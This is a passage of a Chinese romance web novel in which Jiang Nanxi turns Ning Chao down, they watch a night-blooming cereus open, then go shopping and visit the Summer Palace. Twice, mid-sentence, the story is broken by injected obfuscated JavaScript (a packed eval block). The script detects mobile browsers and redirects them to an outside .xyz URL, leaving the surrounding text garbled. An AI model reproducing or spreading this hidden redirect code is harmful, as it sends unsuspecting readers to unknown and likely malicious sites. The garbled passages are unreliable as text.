宁朝觉得,一念生,一念死也不过如此。 说完,姜南西胸口小幅度的起伏,似是从来没有这么紧张过。 好似这里是一个诡谲的魔窟,周遭的空气随时间流淌渐渐抽离,稀薄得令人窒息,无形的压迫感倾覆而下,逼迫他们必须在此时此刻袒露心扉。 宁朝不说话,姜南西大脑杂乱无章,她试图让自己冷静。 这几天她一个人逛了北京许多地方,重新找回高浓度的自我,在这些无法稀释的自我意识里,她慢慢看清了数日以来思维左右互搏的真正原因。 姜南西知道自己已经变得勇敢了,但是还不够。 她咽下口水,做了个很明显的、鼓起勇气的动作。 姜南西重新看向宁朝,眼神触碰刹那,她眼中的难过让宁朝心尖一跳。 姜南西说:“其实我在很早以前,就遇到过同样的选择,要爱情还是事业,当时我选了爱情,可是你现在也看到了,我选错了,所以这一次,我一定要选事业。” “宁朝,我不讨厌你,你知道这是什么意思。”她又重复一遍,不同于刚才的怅然,现在她的眼神,是坦白的、清澈的、毫无保留的,“可是我对我自己没有信心,没有办法进入一段才刚开始就要异地的感情,我过去的恋爱不是异地都一团糟,更不敢保证我能隔着几千公里能谈好一段恋爱。而且,我不确定以后自己的工作和生活怎么发展,究竟会变成什么样子,所以我也不能说等稳定下来再和你怎么样,这样太自私了,对你来说不公平。” 这一个多月来,姜南西积攒了一些勇气。 这些勇气可以支持她奔赴一段新的生活,毕竟,新生活的航向在她手里,她可以完全凭借个人意志和选择自主掌舵,决定去往哪个方向。 而感情是两个人的事,任何一方心生摇摆,或者妄然决定后续,都是不负责任的行为。 姜南西心里清楚,宁朝会无条件把决定权交到她手里,正因如此,她不能不对宁朝负责。 而她也怕,任何一方为了这段感情做出退让,如若往后没有得到期待的结果,如果因此生活不那么如意,会不自觉归咎于当初的选择,后悔因为对方而做出的决定。 她惧怕这种可能。 另一方面,姜南西无法确定新生活一定是好的,未知总是难料,要么功成,要么身败。 “樊老师和你爷爷都开导了我许多,甚至当当,他们的生活态度都很大胆,敢想敢做,都鼓励我要往前冲。”姜南西停了两秒,她心跳无比的快,慌张,焦虑和不安统统抵着她胸口,快要喘不上气。 但不心虚,她看一眼宁朝继续说:“但我还是会悲观,还是很胆小,做不到那么勇敢,我暂时只敢想这一次,如果失败摔跤了,将来也许还会爬起来接着走这条路,也许就灰头土脸地滚回来干编导,但这都是以后的事,我不想去想,现在在我面前摆着的,就只有这一次。” 人之常情,勇敢一瞬间,支撑一场破釜沉舟的豪赌。 人并不是只有一次机会,而是如果失败,难免受挫,难免自我怀疑,难免会陷入痛苦和脆弱的深渊。 有的人会拍拍身上的灰继续向前,有的人可能就此一蹶不振。 姜南西知道自己说得很乱,可是已经想不出更好的语言。 但是宁朝听懂了,也懂了她为什么那样的难过。 姜南西七零八落的话,真正想表达的是——她做不到彻彻底底的勇敢,所以这一次机会才最珍贵,因为它出现在她最勇敢最义无反顾的时候。 至少在当下,她愿意为此付出一切。 所以她会难过。 最终,姜南西淡淡说:“对不起,我没得选。” 空气默了几秒。 如果宁朝没有听错的话,他应该是被拒绝了,但他内心毫无挫败,并且竟然有一种该死的成就感。 如果是刚认识的姜南西,面对这样一个问题,她要么什么都不说当机立断地拒绝,要么害怕伤害他所以接受,然后背地里独自消化掉所有的挣扎情绪。 而无论是哪一种,显而易见的,她都不会真的开心。 现在不一样,姜南西学会了表达,她愿意向他展露一个完完全全的真实的自我。 屋内静冷,屋外的云白了又白。 姜南西心情惴惴不定,她感觉到沉默的时间很长,不知道为什么宁朝一直不说话,觉得他大概是对自己失望了,也做好了宁朝跟她说“好吧我知道了”“谢谢你那就这样吧”“姜南西我有点看不起你”诸如此类的话,然后两人好聚好散相忘于江湖的准备。 结果打死没想到会是:“姜橙子,你想去看昙花吗?” “什......”姜南西嘴唇微张,不知道他突然搞哪一出。 宁朝已经起身拿外套,不过是给姜南西拿的。 “走。”他把外套披到姜南西身上,牵起她胳膊带着她走向门边,拿起玄关上的车钥匙,关灯开门。 氧气灌进来的时候,姜南西被吹醒,她双手并用拉住宁朝:“我们去哪儿?” “你可以理解成——”宁朝唇边带笑抬起头,皱眉低嗯了有两秒钟,似乎在思考,接着,在昏暗的环境里,他低下头,眼眸明亮如点星辰,像穿越黑暗坚定拥抱她的一抹晨曦:“这里太闷了,我带你逃出去。” 在宁朝身上,姜南西有过很多难忘的瞬间。 但真正让她念念不忘的,是那一晚,在一场沉重而压抑的对话后,他带着她逃离那个滞闷逼仄的空间。 那个夏晚,空气像吸饱雨水的海绵,蝉鸣在马路上炸开火星,夜风荡过街道,推着他们不断向前,一切都变得不重要,只管向前,带走所有色彩,世界在他们身后褪色成原始的偶氮片。 姜南西想,这是一场盛大又浪漫的出逃。 被带进什刹海小院里的时候,姜南西对看昙花这件事有了实感。 所有灯光都被关掉,整个小院坠入墨色,只有墙角葡萄架下,悬着一盏小灯,灯光惨淡,恰好笼在那盆昙花孤零零的一个花苞上。 “它什么时候会开?”姜南西蹲在地上问,她声音很轻,像飘落在地面的葡萄叶。 宁朝蹲在旁边,替她拢了拢身上外套:“老爷子说就今晚,你带相机了吗?” 姜南西说:“没有,这个行吗?”说着她举起手机。 “行,待会儿开了给他拍个一秒两秒的。” 姜南西迟疑地“啊”了声:“这......不好吧。” 宁朝说:“反正昙花一现,管他呢。” 风掠过葡萄架,枝叶的影子在地上摇曳,昙花的花苞蜷缩如婴儿握拳,叶脉在灯下泛着冷玉般的青。 深夜清寒,姜南西的睫毛沾着水汽,但她没去管,也不敢眨眼,定神看向即将开放的昙花,像看一朵聚在墙角的月光,怕一小心,它就悄然从人间溜走。 同样的景象映入宁朝眼底,让宁朝不禁回忆起大二那年。 他想起他奶奶躺在病床上的最后时刻,心电图曲线渐趋平直,那时候呼吸机的警报声,遽然和此刻昙花裂瓣的轻响隔空重叠。 在姜南西看不见的地方,宁朝喉结滚动,他用掌根压下眉心,也压下心中翻涌的情绪。 “姜南西。”宁朝叫她名字。 “嗯。”姜南西回答,手指无意识碰到石阶上的苔痕,凉意渗进指甲缝。 “还记得在岔道古村的时候,你问我为什么喜欢苹果吗?” “记得。” 宁朝的话裹着深夜的湿气,但平缓,像直接从心里拿出来:“我爸妈都是医生,从我有记忆开始,他们就一直都很忙,经常要去外地出差,一年到头见不到几面,所以我是跟在我爷爷奶奶身边长大的,不是宁原驰和宁天骄三天两头回一次什刹海那种,而是常年常年待在他们身边。” 可以算得上是某种形式的留守儿童。 “可能是因为这样,所以我奶奶很担心我,就会自然多偏心我一点。有一天她去上班,单位同事给了她一个苹果,据说是外地同事研究出来的新品种,很甜,老人家舍不得吃想拿回来给我,但是不巧,那天北京下了大雨,她骑的自行车坏在半道上,于是我奶奶..... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834490|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' .” 说到这儿,宁朝的声音哽了下,听着很轻,不留意听听不到。 “我奶奶走了十几公里的路回来,到家的时候浑身被雨淋透,但是那个苹果在她怀里干干净净,没沾一点水。” 宁朝永远忘不掉那一天的场景。 全身湿漉漉的余春桐来不及擦拭自己,一进屋就往他手里塞了一个苹果,笑吟吟道:“这是独一无二的苹果,刚路上碰见你哥哥和姐姐,奶奶都藏着没让他们看见呢。” 年幼的宁朝抱着苹果不肯撒手,连晚上余春桐搂他躺在床上,用蒲扇给他扇蚊子时,也坚持要抱着苹果一块睡。 睡前小宁朝问余春桐:“奶奶,您为什么只给我苹果啊?” 余春桐笑着捏捏他的脸颊:“因为奶奶喜欢我们三儿啊。” “所以我很早就从我奶奶身上学到一点,爱一个人,要大大方方地表达,因为只有这样,对方才能感受到安全感和力量,我就是这么长大的。” 姜南西背脊一麻,不敢回头。 宁朝看出来了:“我相信你能感觉得到,我的感情是认真的,我一直在努力,想要让你不要那么活得小心翼翼,因为你很好,所以我想做得更好,想让你可以永远无忧无虑,想让你漂亮的眼睛里,多点对生活的好奇和希望,虽然有时候是有点拙劣,但是也都费尽心思了。”他轻笑一声,笑声里带着点自嘲。 “我知道你总是不想亏欠别人,但在我这,你有最大程度的自由,我可以接纳你的所有,你不用因为我喜欢你就觉得有心理负担,只要大大方方地做你自己,去做你自己想做的事,我更没想过让你回应,因为对你好的时候,我就很开心。” 姜南西静静凝望着那盆含苞欲放的昙花,眼前骤然迷离,开始变得模糊不清。 她一垂眼,脸颊突然滑下一道泪痕。 “我也想给你那样一个独一无二的苹果。”宁朝的目光平和而真挚,落在姜南西的侧脸,“所以你有的选。” 姜南西还没明白这句,又听见宁朝的话,他话意坚定,像带着暖意的风:“你不用为我停下脚步,如果世界是个巨大的游乐场,我希望你自由自在,玩得开心。” 这股暖风拂过姜南西,带来磅礴大雨从天而降,让姜南西的心灵荒原就此发了芽。 从此,她的生命不再受限。 姜南西不想表现得太脆弱,也不想让宁朝看见自己的眼泪。 她伸出双手捂住脸颊,用力摁了两下,试图将汹涌的眼泪摁回去,然而徒劳无用,宁朝的话太戳人,她根本忍不住,肩膀随着抽泣轻微抖动。 但是没关系,宁朝总能懂她。 “姜橙子,你想笑就笑别憋着啊。”宁朝一改刚才的温柔,语气又吊儿郎当了,“再憋坏咯。” 这招果然有用。 姜南西捧着脸颊笑出了声,她吸了吸鼻子,又哭又笑的,好几分钟才恢复平静。 “我没笑。”她擦掉脸上的眼泪,说话时嗓音里的哽咽还没退去,“我就是第一次看到昙花开的样子,觉得......真奇特。” 宁朝无声笑笑没说话。 月亮又往西边天空斜了一点,葡萄架上的藤叶逐渐放轻摇曳的节奏。 白色灯光下,薄如蝉翼的萼片次第轻盈剥落,昙花以肉眼可见的速度徐徐舒展,露出绸缎般的内里,嫩黄细蕊似是星点,纤细的花茎轻轻颤动,托起一朵悬在夜色里的雪。 那是夏天的夜晚,什刹海很安静,外面的声音很遥远,姜南西就这么静静地看着昙花在她眼前开放,花苞展开时,她仿佛听见自己的心跳,一下又一下,与花瓣舒展时的微弱声响产生奇妙的共振。 在黑暗中,和另一个人同样屏息的人心跳同频。 当昙花完全绽放,姜南西忍不住小小地“哇”了一声。 宁朝录完花开的全程,将手机还给姜南西,姜南西接过手机,连忙又拍了好几张照片,找了很多角度。 拍完,她问宁朝:“要不要给你几张发朋友圈,留个纪念。” “不要。”宁朝拒绝得干脆利落,“我想看,回这儿看就行。” 姜南西嘴巴一咧斥责他的凡尔赛,她找补道:“又不是每天都能看到这么好看的。” 宁朝满不在乎的表情:“你没看怎么知道。” 他说得有道理,姜南西找不到话来反驳,一时语塞不说话。 没过两分钟,姜南西眼巴巴看着他:“发一个嘛。” 宁朝不为所动:“不发。” 姜南西说不动他,最后自己发了张,照片里,昙花洁白如雪,地上两个人影挨在一块。 “第一次看到昙花开花的样子,真好看。” 宁朝到底也发了,直接从姜南西朋友圈保存的照片。 “第一次听到昙花开花的叫声,真奇特。” 30. 手打柠檬茶 姜南西恢复了往日的活力。 对此感受最直观的是何星屿,因为姜南西出门的次数又多了起来,他转头告诉陈笛,陈笛评价道:“嗐!那毕竟Prada也是大牌啊!” 何星屿呢,就在姜南西穿鞋的时候怪腔怪调的打趣:“你俩这种行为,就是一只小鸭子不让另一只小鸭子看书,然后一直在它耳边说‘快把书合好鸭~合好鸭~’” 贱兮兮的语气惹得姜南西扔过去一个抱枕。 何星屿一把接住哈哈大笑,姜南西打开门,正碰上来送餐的服务生,服务生是楼下烤鸭餐厅的,平时有电话送餐服务,何星屿经常不知道吃什么就点这家。 又是鸭。 姜南西对服务生摆摆手:“拿走吧,他今天不在。” “啊?”服务生明明听见何星屿都快笑抽过去了,“拿走了屿哥咋办?” 姜南西笑得善解人意:“不用管,过几天他会自己死掉的。” 今天去SKP,宁朝要采买清单上的一串东西,姜南西给陈笛选新婚礼物。 停好车下车前,姜南西问宁朝:“你想好给那个休产假的女生买什么了吗?” 行政部王姐休产假不能参加年中评优会,但宁朝没忘要给她准备礼物,给一位勇敢的妈妈。 而他询问姜南西,不是真的拿不准要买什么,只是冷战期间,想找个话题让聊天框看着不那么冷清。 姜南西当然没理他。 不提还好,可这么一提,就被宁朝抓住把柄了:“姜橙子,你看见我消息故意不回?”他知道她不会回的,就是骨子里使坏,逮着机会就想逗她。 姜南西瞥他一眼,眼神坦荡荡:“手机又是你买的?不回你消息不是很正常?” 他能逗趣,她也不甘示弱回敬。 话音才落,姜南西手机响起一声提示音,她拿起一看眼睛瞪大,宁朝直接给她转了一万块,备注自愿赠与。 姜南西转头,主驾驶坐着的人大款作派十足:“去买个专门回我消息的手机。” “有毛病啊。”姜南西笑着骂了句。 宁朝同意:“富贵病。” “我不要,三千就够立案了。”姜南西法律意识很强,她刚拿起手机要将钱退回去,毫无预防被宁朝一把抢走手机,“嗖嗖”两下点击收款:“提醒我了。” 他把收完钱的手机还给姜南西,压着声音威胁她:“再不回我消息,我就报警抓你。” 姜南西打心底发出一声喟叹:“有钱人真可怕。” 宁朝买东西目的明确,一个小时全部买齐放回车里,而姜南西却犯了难,坐在柜台边迟迟不能做出决定。 香奈儿彩妆店内,柜姐尽职尽责地推荐:“这几款香水都是热门款,我给您闻下这个威尼斯,前调比较清凉香醇,香柠檬和粉红胡椒的味道比较明显,中后调就是柑橘甜味比较浓郁,很小众很高级的香味,还有这个......” 纵然柜姐说得天花乱坠,但姜南西总觉得差点意思,在几款香水中看了又看。 宁朝站在旁边,目光落在对面墙上,墙上挂着一幅海报,最底下写着一行英文。 “走吧。”姜南西跟柜姐说了句不好意思后,站起来叫宁朝,结果发现这人在走神:“你看什么呢?” 宁朝回过神:“选了哪个?” 姜南西摇头:“哪个都没选,再去另一家香奈儿看看。” 宁朝问:“一定要是香奈儿吗?” “嗯,她喜欢香奈儿。” 另一家香奈儿精品店,这里产品种类更加丰富齐全,姜南西很快挑中了一款心仪的墨镜。 付完钱,柜姐手法娴熟地用精美的包装纸包扎墨镜,姜南西边等边跟宁朝解释:“陈笛是户外策展师,经常要在太阳底下工作,墨镜很适合她。” 也是陈笛很早种草但一直没舍得入手的那款,人嘛,总在“我要省钱”和“就活一次”两种想法中反复横跳。 而选墨镜还有一个重要原因。 姜南西不想送陈笛那些成双成对寓意的纪念品,在她心里,陈笛本身才是第一顺位。 宁朝眼神飘忽,随口说了句:“挺好看的。” 回到车里,宁朝突然说有点事,让姜南西坐车里等他一会儿。 没多久,宁朝就回来了。 他坐进车里,往姜南西手上放了个小号的香奈儿包装袋。 姜南西没多想:“少买了吗?” 宁朝跑得有点急,喘匀了气才说:“送你的。” “......” 姜南西打开包装袋,里面是一瓶香奈儿嘉柏丽尔天性香水。 刚听柜姐介绍了那么久,她当然知道这是什么意思。 宁朝说:“别人都有礼物,你也得有。” 宁朝的这系列行为,于姜南西而言早已不足为奇,但不管什么时候,她的心里总会不受控制地泛起心动的涟漪。 额头位置有点痒,姜南西抬起手指挠下,无意中碰到几年前的那道疤。 她放下手,看着那瓶香水:“你们北京人都这么好客呢?” 说开之后,彼此都放下那些欲盖弥彰和斟酌试探,摸索到一种更适合两人的相处方式,插科打诨,想说什么说什么。 盛夏气温太炎热,还没缓过来,宁朝伸手往后抓了一把头发,露出英挺俊朗的额头,立体的眉弓在细汗的映衬下淡淡反光。 他专心启动车辆没看姜南西,声音里透着股不羁的劲儿:“那是,您有空常来北京转转。” 这句刚一说完,车里陡然响起经典名曲《北京欢迎你》。 “......”姜南西捂脸笑倒在座椅上,笑声伴着歌声萦萦绕在宁朝身边。 香奈儿嘉柏丽尔天性香水,以嘉柏丽尔·香奈儿的名字命名,融入了品牌创始人的自信、大胆与反叛精神——献给光芒四射、自信坚定的女性。 · 中午在什刹海吃饭,但没让宁衡远做饭,因为实在是太咸了,咸到当当吃了一次说把她扔进后海能让游客免费观赏一日太平洋。 准备去前海附近的南门涮肉,两人先去荷花广场上叫宁衡远。 当会儿,宁衡远正在摇头晃脑拉手风琴,《相约草原》曲调悠扬飘向晴空,前头空地上,大爷大妈手挽起手,优雅地翩翩起舞。 正沉浸在音乐中呢,蓦地,宁衡远远远瞧见两个人影,有说有笑地朝这走过来,宁朝还抬手帮姜南西赶走了一只嗡嗡乱飞的小飞虫。 此情此景,宁衡远嘴角一扬立马切换音乐,奏响一曲欢快的《年轻的朋友来相会》。 跳舞的大爷大妈脚底一顿忙活。 · 姜南西来什刹海是要拿相机,宁衡远说因为相机有个地方比较难修,他拜托了老朋友帮忙,现在相机在颐和园那边。 于是下午改道,到了地方,宁衡远说自己去找老朋友,让宁朝带姜南西在颐和园转转。 颐和园里天朗气清,从佛香阁上俯瞰湖光山色,远处西山若隐若现,苍穹如碧铺展,昆明湖揉碎夏天的蓝色,游船零星散布,从十七孔桥的粼粼倒影中缓缓入画。 来往游客谈笑风生,三两游人驻足拍照,姜南西和其他人一样举起手机,专心致志地录下这一幕,画面让人如痴如醉,她全然忘记了这里很高。 她还无知无觉想往前,被宁朝往回拉点距离:“你慢点儿。” 拍完之后她无声欣赏一番,内心感叹古人的鬼斧神工,尤其镜头拉近之后,十七孔桥横卧碧波,桥身倒映在水中宛若半月清影。 姜南西想起有关十七孔桥的一个著名奇观,她没直接回头,一边继续拍一边问宁朝:“金光穿洞要什么时候?” 宁朝说:“冬至前后,等太阳直射南回归线的时候。” “暧。”姜南西记起来好像自己才是文科生,只不过恰好她地理不好,接着她皱眉问宁朝:“你怎么什么都知道?” “我也不懂。”宁朝大方承认,“之前听程教授提过。” 姜南西心里平衡了一点。 不能亲眼看到美景,她不免惋惜:“可惜了,看不到了。” 宁朝低声:“冬天再回来呗。” 话落,从旁边来了一个旅游团,环境渐渐嘈杂起来,姜南西拉着宁朝赶紧溜了。 颐和园游玩常见的游玩路线分三条,姜南西和宁朝两人走得经典路线,从北宫门一路往上,途径苏州街、画中游和佛香阁,按经典路线应该是往东,朝知春亭那边走,但经典就意味着人多,姜南西毫不犹豫地选择往西。 路过清晏舫时,一长队的游客穿着救生衣排队登上游船。 姜南西迈着大步昂首路过,假装没看见这茬儿,宁朝把人拽回来:“你又不想划船了?” 一句话让姜南西的故作镇定轰然崩塌,她瞬间小脸一垮,眉眼间都是可怜兮兮的哀求:“让我再缓会儿吧。” 说到底还是害怕,一看那水她就直打哆嗦。 这就让宁朝想起一陈年往事了:“胆子这么小还敢在——” 一听这话,姜南西跟被踩中尾巴的小猫似的,“嘶”了一声立马跳过去捂住宁朝的嘴,也死死捂住他要说的话,宁朝被这突然的动作撞得措手不及,踉跄之中只能做出本能反应,怀抱接住扑过来的人的同时,他的手掌稳稳搂住姜南西的腰。 站稳后,姜南西做贼般地左瞄瞄又瞄瞄,确定没人听见后才转回视线,她瞪了一眼宁朝:“谨言慎行啊。” 宁朝定定望着她的大眼睛,两秒后才懵懵点下头。 姜南西眼神言语双重警告:“闭嘴啊。” 宁朝又使劲儿地点一下头。 姜南西放开他,宁朝跟着松开手。 不说就不说,但这个欠是一定要犯的,宁朝凑过去说:“胆小鬼。”说得很小声了,没让路人听见。 姜南西回嘴:“翻旧帐,小莽莽。” 逛了一路,天空刮起大风,但是燥热不减。 两人在一条小路上的咖啡店买喝的。 姜南西比宁朝后出来,出来时就见这人直愣愣站在门口,对着手里的咖啡发呆。 不知道的还以为魂儿丢了呢。 姜南西走过去,弯腰歪头从下边儿看他的眼睛:“这咖啡是紫金红葫芦啊?” 宁朝表情严肃,看起来不太满意:“这个橙C美式不正宗。” 姜南西看眼身后地咖啡店,又看眼宁朝:“为什么?” “把橙子的橙写成澄澈的澄了。”宁朝说。 这姜南西倒真没注意,因为她点的手打柠檬茶。 静了一下,宁朝忽然问姜南西:“姜橙子,你拔智齿的地方还疼吗?” 姜南西以为是关心她,抬手抚了抚脸颊,又用舌尖舔了舔,感受过后她说:“还有点儿。” “今天化妆了吗?” “没啊。” “那你过来。” “干嘛?” “chua”的一下,宁朝将那杯冰凉的咖啡贴到姜南西拔牙的半边脸上,这下他满意了,得意挑眉:“地地道道的橙C美式。” 姜南西拍掉他的手,气得转身就走:“宁朝你幼不幼稚!” 宁朝看着她背影,心情一片舒畅。 没走两步,姜南西赫然又折返回来,她将手里柠檬茶往宁朝面前一递,情绪不明道:“帮我打两下。” 宁朝不懂但照做。 姜南西笑嘻嘻说:“好了,正宗的手打柠檬茶。” “......”宁朝无语了下,但声音表情里全是纵容,“你好幼稚啊姜橙子。” 姜南西哦了一声:“那谢谢您陪我一块幼稚哦。” 说完,你看看我,我看看你,一下子都没憋住笑出声,就在那绿荫环绕的小路上,两人站在路边,跟俩傻子似地笑得停不下来。 笑声在周围回荡,引着路边的小花在风里轻轻地舞蹈。 姜南西这一缓,颐和园的风就大了起来,昆明湖里浪涛汹涌,游泳的鸭子嘎一声满嘴水。 一小孩儿指着落单的那只鸭子说:“一鸭一鸭游~” 恶劣天气,游船暂停运行,姜南西和宁朝坐在长廊这边,边观景边等宁衡远,这么长时间没回来,大概率是跟老友相见促膝长谈忘了时间。 两人不急,暮色降临,有耐心的话,可以等一场颐和园的日落。 他们不是坐在长廊的长凳上,而是随意坐在长凳外的地面,正好可以向后靠着休息。 如果从后面看去,两人刚好被屋顶和檐柱框在一片风景里。 风从湖面吹过来,撩动岸边的垂柳,携来对岸隐隐约约的窸窣声,循声望去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841035|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是十七孔桥上拿起相机拍摄的人群。 太阳一寸寸落向地平线,西边云絮轻展,如鱼鳞细密交织,佛香阁静立在黄昏中,仿佛历经百年晨昏的老者,沉眼默望浸泡在昆明湖里的朝代迭影。 风景赏心悦目令人难忘,姜南西舒服地眯起眼:“我一定在视频里把颐和园列为北京十大必看景点。” “你不是已经推荐过了吗?”话说口的时候没多想,但宁朝说完心里就“咯噔”一下。 他像个作弊被老师抓包的小学生,浑身僵硬大气不敢出。 姜南西靠在檐柱上睨着眼,好整以暇地看向“做贼心虚”的男人,嘴边笑意嚣张,看他能撑到什么时候。 “是我。”沉默太长,宁朝猜出她是故意的了,他无奈叹了声气,“我只是犯了每个粉丝都会犯的错。” 粉丝发现偶像的账号,会不由自主从头到尾仔细翻看一遍。 姜南西并不生气,反过来安慰他:“姜橙子这个昵称太好找了,不怪你。” 提到昵称,姜南西心中一直有个疑惑:“你微信昵称什么意思?” 宁朝:“gdbcy?” 姜南西咬着吸管看他,吸一口柠檬茶点头。 宁朝平铺直叙:“狗都不创业。” 姜南西:“......” 是这人的风格。 话题被打了个岔,又被宁朝绕回来:“你怎么发现的?” 姜南西放下柠檬茶,看向前方风澜共起的湖面:“那天我登陆B站打开后台,发现有个人在私信里给我发了一张手写道歉信。” 那人的道歉信言辞恳切声泪俱下,却把姜南西看得更害怕了——你怕不是学那盗跖引蛇出洞然后一刀把我剁了吧。 对方解释不是,只是自己深刻意识到过去一年的不当行为给姜南西带来了多大的伤害,在此对她表示深深的歉意,希望她看在自己年纪小不懂事的份上,可以原谅自己,并恳求姜南西的朋友们可以就此收手。 姜南西的“朋友”们并没有同样地网暴那人,以暴制暴太低劣,他们只不过运用了一些合理合法手段,也感谢那人的自动回复,让其感受了一把后台轮番私信评论连环轰炸有多困扰,但没有任何污言秽语,王廷章最喜欢在私信里跟那人分析股票大盘,杨韫讲java和python,PPT一页又一页,阅川孜孜不倦地用北大招生简章刷屏。 周时懿问:“老大,这跟往人家门里塞小广告有什么区别?” 姜南西耸了耸肩:“我唯一能想到的‘朋友’,就只有你了。” 愿意花时间为她这么做的,也只有宁朝。 听完她的讲述,宁朝淡淡嗯了一声,而后没有说话。 风慢慢小了,落日又降了一点,水天一色,湖面鎏金万顷,像调色盘打翻在澄明的琉璃瓦上。 “谢谢啊。”姜南西迎着微风说。 宁朝问她:“从一开始,你为什么不反击?” 反击。 这个词让姜南西姜南西恍了恍神,她回忆最初的心情,怂是真的,被冒犯的生气也是真的,不是没想过要反击,报警诉讼太麻烦,最直接的方式是线上反击,别人怎么骂她她就骂回去,可当脑子里那些反驳的语言逐渐歪曲变形时,姜南西惊出了一身冷汗。 她问宁朝:“你听过《百年孤独》里的一句话吗?” 宁朝放下咖啡,静静听着她说话。 “你那么讨厌他们,跟他们斗了那么久,琢磨了他们那么久,最终却变得和他们一样,人世间没有任何理想值得以这样的沉沦作为代价。” 姜南西淡淡地笑,眼里盛着黄昏清澈的光:“我不想变得跟他们一样。” 这句话不仅仅是在说网暴这件事,也在说这么多年她的坚持,与人纠缠毫无意义,她不想在反抗命运的时候被命运征服,她想要当社会洪流涌向她时,不随波逐流迷失方向。 她想要等到洪流退去的时候,她还是她自己。 宁朝明白她的意思,因为这就是姜南西的底色。 善良,真诚,纯粹。 但有时候没有锋芒的善良,反而会适得其反,所以他希望姜南西以后能多保护自己一点。 宁朝说:“我也送你一句话。” 姜南西问:“什么?” “给别人第二次机会,就像给他第二颗子弹,弥补他第一枪没把你打死。” 姜南西静下心细细品味这句话,很多画面从她眼前闪过,每个都触目惊心。 末了,她保证似地点一点头:“好!下次我会注意的!” 晚霞烧得更加炽热,奔放,天空一片浓墨重彩,身后游客纷纷从长廊奔向湖边,相机手机的“咔嚓”声不绝于耳。 人群中,有人为这一刻而欢呼:“世纪晚霞!” “别动。”宁朝也举起手机,镜头对准此刻的姜南西。 姜南西一愣怀疑:“你会吗?” 宁朝大言不惭:“人像拍照三要素,模特好看乘以三,咱都占满了,没问题。”他一边说一边调整角度,姜南西倚着绿色檐柱,一手搭在旁边长凳,表情自在放松。 又一个被网络烂梗荼毒的人,姜南西“啧”了声劝他:“少看点那没用的。” 宁朝乖乖应:“嗳小姜老师说得是。” 贫得很。 姜南西笑了起来。 拍完,姜南西挪过去想看看成片,宁朝收起手机不给她看。 姜南西仰起脸,两眼水汪汪:“给我看一眼呗。” 宁朝把手机揣进口袋里,并用手按着以防姜南西偷袭,说什么都不愿意。 “宁朝,宁总,宁好人儿,小莽莽......”叫半天不应,姜南西生气了:“宁扒皮!” 宁朝傲娇:“叫哥哥也用。” 姜南西可上道了,一脸甜甜的笑:“哥哥。” “......靠!”宁朝在心里骂出了声。 在他们身后不远处,宁衡远哼着小曲儿,独自欣赏他刚才用相机拍下的照片。 古朴屋檐和挺拔檐柱搭起天然的取景框,框内,湖面浮光跃金,涟漪微风轻漾,夕阳勾勒出两人相对而坐的朦胧剪影,宁朝举着手机姿态认真,姜南西坐姿轻靠,娴静宛如初绽的花。 宁衡远看着照片深感欣慰,他咂舌:“真般配啊~” 31. 意式咖啡 接下来几天姜南西很忙,忙着测评望京各大网吧电脑性能。 陈笛结婚定了个包含mv制作的婚纱照套餐,近年来很流行的微电影形式,拍摄时工作室说得天花乱坠,好似拍完就能横扫奥斯卡,哄得陈笛心潮澎湃,结果一看成片惨不忍睹,根本就是小作坊的流水线工艺,明眼人都能看出来是从网上找模版套的。 对方按要求改了几版都不尽人意,态度也越来越敷衍,陈笛气得快哭出来,姜南西看不下去让她把素材要过来自己给她剪。 想做高质量的微电影,后期工程很复杂,从剪辑拼接和特效合成都要精细雕琢,故而对电脑配置要求极高,家里两台电脑带不动,姜南西决定去网吧。 一连换了几个地方,好不容易找到一台用起来还算顺手的电脑,只是这环境不敢恭维,首先光线太暗,调色时很不方便,其次周围太喧闹,全是噼里啪啦的键盘声和游戏玩家的呼喊声,整个网吧里沸反盈天。 但姜南西知道,在这里,自己才是那个外来者。 又是一波团战,网吧里瞬间炸开了锅,以至于宁朝给她打电话时,姜南西没办法摘了耳机躲出来。 了解基本情况后,宁朝问她:“你需要一台性能很高的电脑?” 姜南西嗯了声:“至少保证在我加效果的时候,不会突然死机。”那就只有强制退出重新来过。 “知道了。”宁朝直说道,“给个网吧地址。” 十五分钟后,姜南西收到宁朝微信,她收起自己的键盘装进包里,起身走出网吧。 晚上七点,光芒柔和的路灯下,一身黑装的宁朝坐在摩托车上,一条笔直修长的长腿支在地面,当他取下头盔看向过来时,姜南西承认有那么一点被他帅到。 把背包递给宁朝,姜南西开玩笑说:“你看起来像拐带少女的不良少年。” “那你走吗?”宁朝将键盘包斜挎在身上,然后姜南西戴上准备好的头盔,一撩她护目镜:“这位少女。” 姜南西一本正经:“那不能走,俩孩子等我回去做饭呢。”说着就要转身回家。 宁朝笑着把她拉回来。 坐到后座,新鲜感过去,姜南西突然意识到这不是汽车,双手不知道往哪摆。 于是战战兢兢,她将两只手绕过宁朝的腰,放在了油箱上,后背挺直。 宁朝看着油箱上直挺挺的十根手指头,低声笑了下:“怪我。” 声音从头盔底下传出来,随风飘进姜南西的耳里,她没听真切,探出脑袋往前看:“你说什么?” 宁朝偏过头,光线途径他眼睫落进姜南西眼底:“我该单独给你安个扶手的。” 姜南西:“啊?” 宁朝直接拿起她的手,轻轻用力一拉,姜南西身体顺势向前一倾,紧接着,感觉双手被他迅速环到自己腰间。 风里,宁朝语气不容拒绝:“抱紧。” 